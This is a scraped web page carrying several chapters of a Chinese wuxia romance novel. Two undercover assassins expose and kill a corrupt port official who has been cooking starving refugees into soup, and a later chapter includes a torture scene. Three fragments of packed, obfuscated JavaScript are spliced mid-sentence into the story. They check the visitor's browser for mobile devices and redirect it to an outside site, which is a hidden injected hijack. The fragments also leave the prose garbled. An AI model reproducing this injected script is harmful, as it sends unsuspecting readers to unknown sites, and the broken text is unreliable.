可碧落为什么要来潞城?是因为任务?还是因为周令?毕竟她和周令是那样的关系。 如果是因为任务,为什么煌山堂偏偏派碧落来潞城?而不派别人过来? 自己不知道碧落的假身份,那煌山堂的人知道自己的假身份吗? 太乱了…… “我知道你现在有很多疑问,但能得到消息,和你在这里汇合,至少能证明我是碧落,确凿无疑。”碧落看出了他的迷茫,她也有很多疑问,但当务之急不是这个。 “先完成今晚的任务,带我去看金豹藏粮的位置,否则就凭你和金豹席间的那番话,你说什么我都不会相信的。”碧落冷冷逼视他。 黄泉瞬间明白过来,接风宴上那道冷冽的窥视根本不是他的错觉!碧落那时就在屏风后! 一想到自己那时都说过些什么,黄泉就有些脸红。 怪不得今晚吃了闭门羹…… 或许她早就猜到他的身份了,不然光就接风宴上自己的那番表现,他很可能今晚就被她当做任务目标一并杀了。 黄泉自知理亏,却又不想低头,只得不尴不尬道:“我在席间说的那些,都是为了诈金豹。他明日便要和齐山重新分账,今晚必定会动藏粮地点。你若不信,跟我来便是。” 说罢,径自走在前面带路,把后背留给碧落,以示清白。 碧落的态度这才有所缓和,跟在他身后,两人一路来到小镇上的一片连排屋舍。 躲在一处暗巷口,两人刚好能看见屋舍的动静。 黄泉:“我们的人已经在各处探查过,金豹的许多产业和家私藏在镇中各处,是以这镇上没有多少荒废的房子。但这一片房子,很奇怪。” 碧落:“哪里奇怪?” 黄泉:“房屋没有荒废,但周围人烟稀少,不像是里面住了人的样子。” 碧落了然,既然没住人,那就是装了别的东西。 果然,等了没一会儿,就见一队人赶着几驾驴车匆匆赶来,停在了门口。然后自屋舍走出两个守门人,和这伙赶着驴车的人低声耳语了几句,一群人便忙活起来。 幽暗的夜色里,这群人手脚麻利,源源不断地运出一袋袋粮食,宛如忙碌的蚂蚁。 约莫两刻钟后,这群人终于停手,原先那队人赶着驴车离开,守门的那两人又回到屋舍里。 碧落低声问:“都搬完了?” 黄泉:“应该没有。这里的粮食不会跑,走,跟上那伙人看看。” 两人遂悄无声息地缀了上去,七转八转,这伙人拉着这几车粮食来到了一个临近内港的仓库里,碧落认出来,这是港口的官仓。 黄泉:“明日,金豹必然也只会带我来这处官仓,不会暴露他真正藏粮的位置。” 至此,碧落才算是勉强相信黄泉和金豹说的乃是敷衍之语,她朝黄泉使了个眼色,示意两人回到藏粮处看看,她想知道金豹到底藏粮多少粮食。 两人正要离开,却闻到一股诡异的肉汤味,混合在闷热潮湿的空气中,说不出的古怪。 谁家半夜煮肉汤? 况且这里是内港,是受灾最严重的地方,家家户户连人不剩下几个了,又哪里来的肉? 碧落和黄泉对视一眼,默契地顺着这股味道倒找过去。 兜兜转转,两人找到了一处临时搭建的棚屋,棚屋挺大的,和碧落傍晚看到的供灾民居住的棚屋从外面看起来一样。 可这群难民平日里吃的是什么,碧落和黄泉都很清楚。 莫说是金豹这个恶吏治下的灾民,就是清官能吏来赈灾,能给灾民吃上米粥已经是不易了,又怎么会有肉汤? 几乎是同时,碧落和黄泉都想到了一种可能,彼此震惊对视。 犹豫了一下,黄泉上前拉住碧落的手腕,想带她离开。 碧落被他带着走了几步,忽然猛地甩开他的手,足尖一点,运起轻功,转眼间便落在棚屋的屋顶上。 临时搭建的棚屋并不结实,碧落小心翼翼地稳住身形,透过顶棚的缝隙往下看: 东南角摆着一口热气腾腾的大锅,煮得白气弥漫,模糊了锅里的东西,而那肉汤味儿就是从这个锅里传出来的。 视线再移,就见墙上地面上满是血红,有蜿蜒流淌的,也有四处喷溅的。 这血是谁的? 总不可能是牲畜的吧? 碧落目眦欲裂,却强迫自己睁着眼睛,一眨不眨地看着眼前细思极恐的一幕。 傍晚时她刚去看了像家畜一般挤在棚屋里休息的灾民,本以为那已是惨状的极限,却不想…… 明明那些熟睡的灾民,就在离此处不远的棚屋里,明明堆满稻米的粮仓,离此地不过半里。 中原陷入纷乱几十载,碧落四处流浪,人吃人的事情她也见过。 可眼前的一幕还是超出了她的认知,让她抑制不住地感到一阵眩晕。 她身形摇晃了一下,下一刻便被一条结实的手臂拦腰搂住,再一晃神,她被带着跃下了屋顶。 她抬头,渐渐从恍惚中回神,见黄泉正担忧地看着她:“别看了,先走吧。” 不等她回答,他直接就这么将她搂在怀里,提气纵跃,以最快的速度离开了这片地方。 碧落将头抵在黄泉胸口,耳边是拂过的夜风,带走那股强烈的眩晕和恶心。 “你以前见过吗?”她问他。 “见过,所以不想再见了。”他答道。 “金豹此人,一日也留不得了。” “明晚,便是他的死期。” …… 碧落和黄泉回到小院时,已经是四更天了。 阿青就在门外守着,看见两人一起回来,僵在原地,一时间不知该从何说起。 碧落摆摆手,示意进屋再说。 三人一同进了屋,就见无常正在歪倒在小榻,睡得不省人事。 亏他这种时候也能睡得着! 黄泉大步上前,一手把他从榻上拎起来。 这是他和碧落的卧房,这可是他的位置,这个人凭什么在这儿睡! 无常从睡梦中惊醒,睁眼便见这满屋子的人,吓了一跳,猜到黄泉身后那女子的身份,张嘴想说些什么,又讪讪闭上了。 黄泉把他往门外丢:“出去,所有事情明早再说。” 无常痛快退出门,阿青却不走,照例拿防备的眼神瞪黄泉。 黄泉杵在那不动,一副我就是不出去,看你能拿我怎样的态度。 碧落今晚实在有些累了,朝阿青道:“无碍,你们出去吧。”又看了眼黄泉,“他留下。” 黄泉扬眉吐气,阿青忿忿不平,无常进屋,把阿青拉走。 门外,无常低声劝阿青:“人家小两口要睡觉了,你留屋里做什么?” 阿青:“谁说他们是两口子了!” 无常:“都成亲了,怎么不算两口子。” 阿青:“上次那个不算!” 无常:“那等回头咱们再张罗一回?” 阿青:“……” 屋内,两人身份既明,碧落也恢复了原本模样。 倨傲的脸色,淡漠的眼神,她拆下束发,青丝披散,朝黄泉瞥一眼,宛如九天之上百无聊赖的神。 黄泉无师自通地走过去,半蹲着服侍她换衣裳。 碧落垂眸看他,在他得寸进尺地解自己腰带时,淡定地攥住他的手:“可以了。出去吧。” 黄泉的视线落在攥住自己的那只手上,手指修长,骨节分明,养尊处优却又充满力量,像是能杀人于无形的古琴。 他喉结滚动一下,哑声道:“好。” 而后站起身,转身朝外间小塌上走去。 刚迈出一步,肩膀就被从后面按住,他感觉到那只手手,轻轻探入他的衣领,接着用力一拽。 黄泉没有反抗,他的外袍被那只手轻而易举地褪去,露出他肌肉结实的背脊。 碧落扬手,他的外袍落在屏风前的衣架上,和她的外袍搭在了一起。 黄泉的心咚咚直跳,心想,这是什么意思?礼尚往来互脱衣服吗? “今晚,谢谢你了。” 他听见她在背后对他说。 黄泉忽然有些不舍得当下这一刻,他回头,只见她也在看他,眼神中终于有了一丝温柔。 他恋恋不舍地走到外间的小榻上坐下,灼热的目光再次想穿透屏风。 如果可以,黄泉今晚想睡在碧落的床边,打地铺也可以,或者站着不睡都行,只要他能看着她,每时每刻都能守在她身边。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248652|197351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 碧落疲惫地躺在榻上,脑中纷乱交杂,黄泉的身份,两派的计划,港口的情况,灾民的惨状以及周令何时出兵,这些问题搅得她头隐隐作痛,却又提不起精力去思考。 昏昏沉沉间,她好似听到了黄泉平稳而有力的心跳,一下又一下,像是声声海浪,推着她睡着了。 翌日清晨,天刚蒙蒙亮,外面又下起了雨。 早起的丫鬟正在烧水,一出门就见老爷正从屋里出来,看见她便让她备水,说夫人要沐浴。 丫鬟一时间不知该先惊讶老爷昨天夜里竟还是回来了,还是该先感慨老爷这大早晨的又要叫水。 昨晚夫人提前休息,没让老爷进院,还以为夫人和老爷生气了。 结果连一晚上都没过,老爷夜里就把夫人哄好了,两人颠鸾倒凤到清晨,夫人还能有什么气生。 嗐!还是老爷手段了得啊! 待会儿一定要把这个消息分享给其他人,她可是第一个知道的! 黄泉不知道这丫鬟在想些什么,就见她一脸喜色地离开了。 这次还真不是黄泉在搞假动作。碧落清早醒来,出了一身汗,索性她也不困了,便想趁着早晨天气凉快洗个热水澡。 碧落没管下人在议论些什么,只自顾自沐浴完毕,便彻底从昨日的状态中恢复了过来。 待黄泉也沐浴回来,就见桌前已经备好了早膳,阿青和无常也在,对桌而坐。 正对着门的主坐上,碧落一袭湖绿色的齐胸襦裙,银白相间的团花大小杂错地分布在裙身上,外罩一件素白的绫纱褙子,前胸处那抹雪白宛如带着露水的牡丹花瓣。 黄泉目不转睛地看着碧落,只觉得她美得让他移不开视线,又觉得此时的无常很碍眼,连阿青也是,为什么这两人不能出去? 不过从沐房出来时,他察觉到院中的下人一个都不见了,而他们四人又一同用早膳,想来是将下人全都支了出去,要谈正事儿了。 “愣着做什么,进来吃饭。”碧落往自己对面的位置扬了扬下巴。 黄泉进屋落座,四人边吃边聊,气氛看起来居然还有那么一丝融洽。 聊到几人的身份,碧落与黄泉和周令的关系,煌山堂和幽夜司的联盟之意,这些都很正常,直到无常颇为自得地说出他的联姻大计。 碧落:“……” 黄泉:“!!!” 突然就觉得这家伙看起来顺眼多了。 碧落简直匪夷所思,她不可置信地望向阿青,用眼神问她:这么离谱的事,你们也敢答应??? 阿青喊冤,推锅荣夫人:“是荣夫人应下的,我本来没想和她一起骗您的,□□夫人说” “停!我知道了!”碧落深知荣夫人的性格,很怕阿青说出一些不好收场的虎狼之词,赶忙打断。 无常:“那咱们现在算是已经联姻了吧?还需要再给你们举行个仪式吗?” 阿青:“肯定是要的!当初那么简陋,怎么配得上我家殿下!” 无常:“好的好的,你们有什么要求,尽管提,我们好提前准备。” 黄泉则有些不好意思,却又通红着脸,带着满眼的幸福期盼看向碧落,好像在问:你准备什么时候娶我? 碧落扶额,只觉这三个人都不太正常,她现在只想先揭过这个话题谈正事:“这件事再说。先说今晚的行动,我负责干掉金豹,你们幽夜司若是在港口有人手就负责粮仓和灾民那边,一定要控制住局面,不要引起动乱。” 虽然很失落没能要来一个肯定的答案,但黄泉依旧尽己所能支持着她:“那就让无常带人负责粮仓和灾民那边吧,我和你一起去解决金豹。” 碧落:“杀鸡焉用牛刀,我一个人就够了。” 黄泉:“他身边肯定还有手下保护,我和你一起吧。” 碧落:“你机动,有情况我放信号弹叫你。” 黄泉这才答应。 碧落又问:“周令那边还是不要告诉他我们联盟的好,以后就由你出面和他接触。等收拾了金豹以后,让他派人来接手港口。” 黄泉乐得如此,自从知道自己的妻子(虽然妻子还不承认)居然就是和周令有过婚约的后楚公主,他就巴不得两人再也不要见面! 原本他还在想着如果妻子不是世家女,那自己或许便能赔得上她了。 结果妻子虽然不是世家女,却是比世家女还要尊贵的王室公主,黄泉的危机感更甚以前。 但不管了,无论以什么身份,碧落已经和自己成亲了!他只要牢牢栓住她的心,栓不住她的心就栓住她的身,总有一天她会成为自己真正的妻子。 齐山给的那本小册子呢!他这次必须得认真看看! 17. 上阵夫妻兵(打戏) 潞城港的港口的存粮量是非常可观的。 作为中原第一大港,打南方来的稻米经此处登岸,港口官仓的存粮几乎没断过。 金豹年年从中获利,常拿新米将替换自己的陈米,再将新米翻倍卖出高价,这些年来挣得盆满钵满。 可这次和齐瀚重新分成完后,连他都不免觉得元气大伤,多年来积累的家底几乎被掏空大半! 在这个到处都在打仗的年代,粮食甚至要比金子还要值钱。看着齐瀚派来的人,将一车车稻米从官仓拉走,金豹气得眼珠子都瞪红了。 身边的一名随从看着这一幕,也恨得牙根痒:“老大,就这么让他们把粮食拉走了?要不要在半路……”他做了个抹喉的动作。 金豹的目光追着运粮的车队:“哼!你以为齐瀚是傻的,还是齐山是傻的?这孙子今天都没亲自跟来点粮食,这么气定神闲肯定是早就留了后手。齐山的兵说不定就在沿途的官道上盯着呢。” 随从:“那就这么让他们拉走了?” 金豹气得踹了那随从一脚:“你以为我想吗!” 他越想气越是不顺,心情就和这黑压压的天一样,憋得难受,只想痛痛快快地发泄一番。 金豹抬头看了眼天。 夏天天长,以往此时还不到天黑的时候,可今日眼见着要下一场暴雨,天色暗得特别快。 我倒要看看,这粮若是在路上受了雨,你可怎么交代! 金豹不无恶意地想,目光淬了毒般盯着粮车,直至其消失在路的尽头。 粮车刚走,又有下人来报:“大人!内港的那群灾民……反反,反了!” 金豹一听,气笑了:“他们饿得走路都走不稳当,拿什么反?!你们一个个都是干什么吃的!” 下人:“他他,他们有人发现,发现那些老人和小孩都被杀了……也知道他们吃的是是……” 金豹冷下脸:“给肉还不吃是吧……行,我倒要看看这群贱民能翻出什么浪来!” 说完,金豹拎着刀,又命人将港口的兵力全都调来,杀气腾腾地去了内港。 天彻底黑了下来。 碧落和黄泉正在屋中用晚膳,门忽然被阿青从外面推开,强风裹挟着水汽猛地灌了进来。 “不好了!内港暴乱了!灾民反了,金豹派人去镇压,双方现在混战在一块。” 碧落和黄泉对视一眼,当即起身,去准备各自的东西。 原本他们计划今晚夜袭,但计划赶不上变化。灾民不知道为什么暴动了,但他们手无寸铁,暴动必定会死很多人,必须赶在金豹把人杀光之前把灾民隔离出来。 “金豹在哪儿?”碧落边换衣服,边带上剑,又在靴里藏了一把匕首。 阿青:“金豹也在内港。” 黄泉:“不用分兵了,所有人先去内港把金豹和他手下解决了,其他的之后再说。” 碧落又问:“粮已经回仓了吧?留几个人守着,粮绝对不能出问题。” 金豹从官仓里分给齐瀚的粮食,绕了一圈,实际又回到了金豹藏粮的地方,只是守在藏粮地的人,早就换成了幽夜司的人。 黄泉点头。 两人从后门出了小院,直奔内港去,路上途径藏粮地,两人又去确认了一下,见里面的人已经换成了自己人。 临走时,黄泉看到墙上挂着一把弓,脚步顿住。 碧落顺着他的视线,也看到了那把弓,二话没说把弓摘了下来,背在身上。 黄泉:“你箭法如何?” 碧落:“远可百发百中,近可穿筋错骨。” 黄泉一笑:“好,你负责高处,我负责近战。” 碧落颔首。 两人抵达内港时,现场已经乱成一锅粥了。 金豹手下的兵仗着有武器,冲进灾民堆里一通乱杀,灾民被砍倒砍伤,摔在地上。混乱中,不少人被地上的灾民尸体绊倒,继而被人踩踏,惨叫声,哀嚎声不绝于耳。 虽然士兵手里有刀,但灾民数量庞大,又因知晓自己家人被做成肉汤的真相而群情汹汹,竟有不少多了兵器,反杀士兵的。 金豹站在一旁干瞪眼,心里骂这群士兵废物,却也不敢卷入这乱斗中。可眼见着他手下的兵力一点点被缠了进去,他心中也变得没底。 正在此时,雨势突然大了起来,瓢泼大雨被狂风裹挟着,劈头盖脸浇下来,天地间水茫茫一片,只剩下密集的雨幕。 可正缠斗得你死我活的人没一个敢松懈,雨水混合着血水,流得满头满脸都是。 不一会儿,场地周围被架起的火盆被这突如其来的暴雨浇灭,四周一点点暗了下去,直至变成伸手不见五指的黑。 仿佛最后一丝反抗的火也随着灭了下去,灾民骤然陷入黑暗中,失去视力的危险让他们开始惊惶逃窜。 就听金豹猖狂大笑:“给我杀!给我往死里砍!把这群杂种都给我砍死!一个不留——!” 电闪雷鸣,风雨交加。 轰隆的雷声和刺眼的电光轮番砸下,士兵心中的杀意和疯狂被彻底激发,不管不顾地向身边的人挥刀,灾民成片倒下。 碧落和黄泉赶到时,看见的便是这般惨烈的景象。 黄泉环视四周,在闪电短暂照亮的空隙,发现了西北侧的一处望楼,他拽着碧落遥遥一指。 碧落瞬间会意,运起轻功,跃过下方的混战,稳稳落在望楼上。 黄泉则幽灵一般潜入混战里,小心避开无头苍蝇似的灾民,对准疯狂滥杀的士兵出刀。 望楼建造得不甚牢固,在风雨中如同一叶扁舟,甚至有摇摇欲坠之感觉。碧落站定,探身下望,下方的混战一览无余。 金豹的兵还剩下不少,混在灾民堆里,难以区分。 疾风,骤雨,伸手不见五指的浓黑,让能见度降得极底。 但这些对碧落而言,都是挥手可散的烟雾,只需一刻闪电降临…… “嗖嗖嗖” 三箭连发,前后距离不远的三个贼兵应声倒地,身体被灾民踩进泥里。 短暂的光明一闪而逝,混乱还在继续。 天幕再次被撕裂,刺眼的电光仿佛从人的颅顶劈下。 一名士兵抬头欲看,一枚箭矢却正中他的左眼,他跪到在地凄厉大喊,没注意到身后不远处还有一名士兵倒下,甚至连声都没发出来。 金豹的兵开始意识到不对劲,他们本能地察觉到潜藏在黑暗中的危险,可这危险却无处不在,像厉鬼一般死死缠住他们。 寒光一闪,血线飙出。 黄泉又结果了一人,他已经杀入了人群腹地,身后留下一路贼兵的尸体。 他朝望楼的方向看去,黑暗中只能看到望楼的轮廓,看不见那抹让他记挂的身影。 必须速战速决,她在上面箭矢数量有限,自己在下面能多杀点就多杀点。 黄泉甩去刀锋上的血水,再次从一名贼兵的后方摸上去。 正在望楼下的一名贼兵察觉到了危险的逼近,可他什么都看不到,只能把刀架在一名灾民的脖子上,恐惧大叫:“都别过来——!再过来我就杀了他——!” 碧落耳尖一动,弓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259114|197351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉满月,对准下方…… 那贼兵扯着嗓子喊了一声,却见根本没人搭理他,一口气没松到底,一枚箭矢便如从天而降的闪电般,贯穿了他的颅顶。 他双目圆睁,手中的刀掉在地上,人直直地倒了下去。 依旧没人看见…… 但这名贼兵的举动竟是给了周围人灵感,又有几个贼兵,抓住身边的灾民大声威胁起来。 这简直是着急投胎。 几乎是在这几人的声音刚落,不知从何处飞来的箭矢就将他们射翻,甚至有一人话还没说完就爆发一声惨叫,接着就再也没声了。 周围的贼兵终于意识到,他们的敌人竟是在这漆黑混乱的夜里用箭杀人! 那种被暗中盯住,瞄准,死亡随时有可能降临的感觉太过恐怖,逐渐击垮了他们的心里防线。 贼兵开始逃了。 可他们逃不掉了。 黄泉事先看过内港的布局,见贼兵纷纷往出口处退去,他飞身上前,先一步拦在了出口。 刀锋飞转,血花四溅,黄泉犹如拦路的死神,没人能从他手下逃出去。 至此,金豹的兵仅剩几人了。 碧落手中的箭还剩最后三支,下方的混战局势渐渐明了,黄泉和幽夜司的人已控制住了局面,她越发耐心起来,她在找金豹的位置…… 此时的金豹已经吓傻了,他不知道藏在暗处的这伙势力是哪来的,他只知道他手里的人一个接着一个,都死了。 死得不明不白,死得无声无息。 忽然,他听见远处传来一声响亮的高喝,穿过密集的雨幕,直刺他的耳膜:“金豹!你死期已到,看箭!” 他又惊又怒,抬头望向声音来处,在电光中看见望楼上有人正举着弓,但瞄准的却不是自己的方向。 金豹心中忽然升起被愚弄的火,愤怒之下,他一把抢过旁边一人的弓,看也不看,朝着望楼就是一箭。 黄泉瞥见了这一箭,正欲上前拦截,就发现这一箭简直偏得离谱,且从下往上,逆风而射,估计连望楼的边都擦不着。 他没去管,这箭不出所料,射入半空中的黑暗里,像被吞噬了一样,连个浪花都没激出来。 但这一箭也并非毫无作用,它将金豹的位置完全暴露给了碧落。 暴雨迎面打在碧落的脸上,豆大的雨滴砸得她几乎睁不开眼,绷紧的弓弦后,浓黑纤长的睫毛被打湿,眼帘撩开,漆黑的瞳孔如剑光般雪亮。 “嗖嗖嗖——” 最后三支箭,刺破雨幕,疾射向金豹所在的位置,将他所有的路都堵死。 金豹本能地感受到危险,刚要跑,大腿和胸膛就中了两箭,另一箭擦着他的额角,没入一旁的泥地里。 他听见刚刚那索命般的声音再次响起: “着!东南二十步,取金豹首级!” 金豹简直疯了,连身上中箭都感觉不到了,濒死前爆发出最后的力量,从地上爬起来就跑。 踉跄着跑出去不到十步,一柄长刀便自身后斩飞了他的头颅。 无头尸身颓然倒下,露出背后横刀而立的黄泉。 黄泉上前,拿刀尖挑起金豹的头,扬声喝道:“贼首金豹已被我斩杀!我乃齐将军之孙,所有人,弃刀不杀!” “轰隆隆……” 他喊完以后,空中落下惊雷,犹如在所有人耳边炸响。 所剩无几的贼兵早已被吓破了胆,又听这人是潞城守将齐将军的孙子,再无反抗之心,纷纷扔了刀,跪在地上。 暴雨还在下,地上血流成河…… 18. 妻子的秘密 雨直下到了半夜。 待碧落和黄泉安顿好一切,回到小院时,已至寅时。 阿青早将院中的下人支开,并命人提早备好了热水。 雨水将两人浑身上下都浇透了,衣服全都湿答答地贴在身上,吹了一晚上都风,尽管是在夏天,碧落还是冻得嘴唇发白。 黄泉将她推进热气氤氲的浴房里:“你先洗。” 碧落扶着他裸露在外的冰凉手臂,深深望了他一眼:“你先去把试衣服换下来,我很快就洗完。” 黄泉被她看得心中一暖,忍不住伸手捋过她额角的湿发:“没事,你泡好了再出来。” 阿青在门外煞风景道:“也在卧房准备了浴桶,老爷可去卧房沐浴。” 黄泉:“……” 碧落忍笑,搭在他手臂上的手轻抚至他掌心,用力捏了捏他湿漉漉的手掌,随即转身进了浴房。 黄泉只得悻悻去卧房沐浴。 两人没耽误太久,沐浴完毕后,便与阿青以及刚从外面回来的无常一起,于正屋议事。 今晚出了这样的事,谁也别想睡了。 “内港那边,可安顿好了?”碧落问无常。 “差不多了,灾民经过那一番乱,都吓得魂不守舍,没几个闹事的,暂时迁入附近废弃的屋舍避雨,先熬过这一夜再说吧。”无常方才便是将所有的人手都调往内港处维持秩序,安顿灾民,并直接从官仓调粮,在这雨夜里为在鬼门关前走过一遭的灾民准备一口热食。 黄泉:“人手可足?” 无常摇头:“把灾民关在一处看起来,给饭吃,盯着他们不闹事,勉强还行。但这不是长久之计,咱们的人没几个干过赈灾的活儿。还是得尽快找人将这烂摊子接走。” 碧落朝阿青道:“明日你领着这次带来的家丁仆人,一起去内港帮忙,无常不方便出面的,你来办。” 阿青应是。 黄泉:“今晚就得给周令去信,让他赶紧派人来港口主事。咱们这都是给他忙活儿。” 碧落:“还要带周令的人在齐山和朱克面前过个明路,让他派个可靠的人过来,你的身份必须要暴露给这个人,多一个人知道就多一分危险。” 黄泉:“知道了。咱们俩还得给朱克和齐山去信,港口出了那么大的事,这消息须得由我们最先告诉他们。” 碧落颔首,吩咐阿青去准备纸笔,又问:“金豹的家眷控制住了吗?你准备怎么办?” 黄泉:“控制住了,没空管他们,全枷了,押去潞城,让齐山处置。” 阿青拿来了纸笔,两人便在卧房内的书案前相对而坐,各踞一角,从放在中央的砚台里蘸取墨水,笔走龙蛇地分别写起给朱克和齐山的信。 屋内时不时传来两人交谈的低语,阿青从窗外看到两人的剪影,几乎是头抵着头,亲昵地依偎在一起…… 翌日上午,齐山在将军府就收到了自己大孙子的来信。 齐山粗犷朝身边的管家笑道:“这小子,看来是憋着一口气呢,估计是想收拾完了金豹再跟我说,看来这是事成了。” 管家笑眯着眼:“都说虎父无犬子,少爷这是也继承了您老的王霸之气,对付那小小的金豹,还不是手到擒来。” 齐山哈哈大笑,展开信看,刚扫了一眼,脸色的笑意就消失了,越往下看眉头皱得越紧。 管家察觉到气氛不对,也收了笑,战战兢兢地候在一侧。 直到看到金豹将老弱煮做人肉汤,逼得港口的灾民反了,齐山一怒之下摔了手中的茶盏:“这个杀才蠢货!” 又转头喝问管家:“送信的人呢?带他来见我!” 管家不敢耽搁,立刻将外院候着的送信人带到齐山面前。 “你家郎君现在怎么样了,可有受伤?”齐山问。 送信人:“万幸没有,就是昨晚带人平乱,累到半夜,又连夜给您写信,今早我来送信时,郎君正和夫人在休息。” 齐山稍稍放心,本来朱克让他那女儿也跟去港口,齐山还有些不悦,觉得朱克是不信任他,派个人去监视齐瀚。 结果竟出了这样的事,有个体己人陪在瀚儿身边也是好事。 瀚儿在信中详细说了金豹的各种骇人行径,提及其处理灾民尸体的草率,齐山简直惊出一身冷汗。 港口距潞城不过三十里,这近的地方,一旦发生瘟疫,用不了几日就能传至潞城城内! 金豹自己作死也就罢了,竟然还将潞城一城都至于瘟疫的危险之中,该死! “金豹尸体呢?还有他的家眷呢?都到哪儿了?”齐山问送信人。 “全都已经押往潞城了,还在路上,预计傍晚的时候到。” “不用进城了,传我命令,全部在城外就地砍了,和金豹的尸体一起,全部烧干净。”齐山冷酷道。 说完,他又叫来了一个部下,让他带着这送信人直接去东门拦车,就地办妥此事。 送信人哆哆嗦嗦地退了下去。 齐山接着看信。 齐瀚在信中提及港口的受灾情况,言当务之急是先把内港修好,否则等雨季一过,海上风浪止歇,潞城港若无法接纳船只停靠,将会损失极大的一笔收入。 是以他将港口现有的存量全部留下,先安置灾民,再以工代赈,争取用最短的时间将内港修缮完毕,恢复港口航运。金豹私存的其他钱货财物,则尽数运回潞城孝敬他老人家还有……他岳父。 齐山冷哼一声,心道这枕头风吹得可真猛啊,连这种时候都想着他的岳父。 原本他还觉得他那新妇跟过去能照顾孙儿的生活起居,可看这情形,自己当初猜的没错,朱克把女儿派过去,就是想在港口分一杯羹的。 齐瀚从港口究竟运了多少东西回来,估计朱克那边也一清二楚吧。 而朱克这边……还真不知道。 碧落和黄泉的信同时送往潞城,前后脚入了将军府和县令府。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269887|197351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 此时朱克手里拿的,就是碧落的信。 信中,女儿以道听途说的口吻讲述了昨晚那一战的凶险,说齐瀚回来时满头满脸的血,把她吓坏了。 朱可不耐烦地掠过这些在他看起来是小女儿态的言语,只看信中透露的港口目前的情况。 金豹已死,港口在齐瀚的控制之下,安顿灾民,修缮内港。 齐瀚将从金豹那里缴获的财帛货物都运往潞城了,说是会给他这个岳父送来一部分,可却没告诉女儿这批财货总共有多少…… 呵!弄得倒像是他要靠他齐家施舍一样! 更重要的是,女儿听齐瀚说,临走时候会派一心腹之人留守港口,而这个人是齐山定的。 齐山这个老匹夫!什么时候和他商量过此事! 他说谁来守就谁来守,那不就是第二个金豹?! 金豹这些年来还知道给自己孝敬,可年年都是给齐山的更多,若再让他换一个他的人上去,自己岂不是一分孝敬也无了? 朱克攥紧了手中的信纸,心里恨,却无计可施。 谁让自己生的是女儿,到头来还是给他人做了嫁衣! 正当他恼闷之时,忽听下人来报,说府外有一人求见。 朱克头也不抬:“让他滚!” 就见他的心腹管家走上前,双手奉给他一块令牌,低声道:“我亲自去见的那人,他递给我一块令牌,说您看到令牌后,一定会见他。” 朱克接过令牌看了眼,心中大骇: 这是朝廷玄辰卫卫所的令牌! 这群杀神怎么找来了!!! 朱克握紧令牌,沉默几息,朝心腹管家道:“带他去书房。” 心腹管家见他这副如临大敌的样子,心里也没底,亲自出门将人请进府,往书房领去。 只见那人约莫四十岁上下,瘦长脸,高颧骨,眼角向下耷拉着,眼神却森寒锐利。一路上目不斜视,脊背笔挺,阔步而行,直至进入书房。 朱克一见此人,便再也不怀疑其身份真假。 玄辰卫乃朝廷暗卫,以阴诡之谋,行残虐之事,自殷朝建国以来便凶名在外,上至官吏,下至士民,只要听到“玄辰卫”三个字,无不退避三舍。 此人从样貌道气质,无一不符合玄辰卫的特征。 朱克强自镇定,朝来人笑道:“不知玄辰卫的大人驾临潞城,朱某有失远迎。敢问大人此番秘密来府,有何贵干?” 那人撩起眼皮,睨了朱克一眼,开门见山道:“朱大人,你可知半个月前与你相认的那个女儿,究竟是何身份?” 朱克心头一突,他首先想到的是自己手里的私兵,可又觉得自己那点兵力,在齐山顶手下自保都勉强,朝廷应该根本看不上:“她……她是我早年与一郑氏女的孩子,江陵城破后,来潞城投奔我。” 那人这次连看都懒得看他,冷笑一声:“你那女儿乃是朝廷钦犯,煌山堂的第一杀手——碧落!” 19. 第三者 一个月前,京城,玄辰卫地牢。 幽暗的走廊中,回荡着凄厉的惨叫和虚弱的呻吟。 半沉入地下的结构让最炽烈的阳光也只能照进去方寸,一只锦靴从光明踏进了黑暗里。 苑无声走得很快,身后的下属小跑着追上他:“按照您吩咐的,这人从三王爷府中出来以后,我没有立刻将其抓捕,又继续跟踪了他两天,才把人逮进来。” 苑无声:“看见跟他接头的人了吗?” 下属:“没有,他从三王爷府上出来以后,去了很多地方,我们都查过,没有可疑处,暂时没有线索,就把他先控制住了。” 苑无声:“招了吗?” 下属:“……还没有。” 说话间,两人已来到一间牢房前,里面的人被绑在木头架子上,浑身上下纵横交错着十几处烙伤,双手十指鲜血淋漓,一支手臂不正常的反折着,显然反复受过刑。 “竟是个硬骨头。”苑无声瞥见那人,冷笑一声,“把他弄醒。” 下属朝守在牢房里的守卫眼神示意,守卫从火塘中拿出烙钳,贴上那人的胸口。 缕缕白烟从烧焦处冒出来,被烫的人只是皱紧了眉头,竟没能醒过来,疼得麻木了。 见状,苑无声亲自拿起一支烙钳,直接压着那人的半边嘴,贴在了那人的脸上。 “呜——!!!” 疼! 疼极了! 那人从剧痛中醒来,额头上的青筋疼得根根凸起,眼神刚清醒一瞬,复又陷入恍惚。 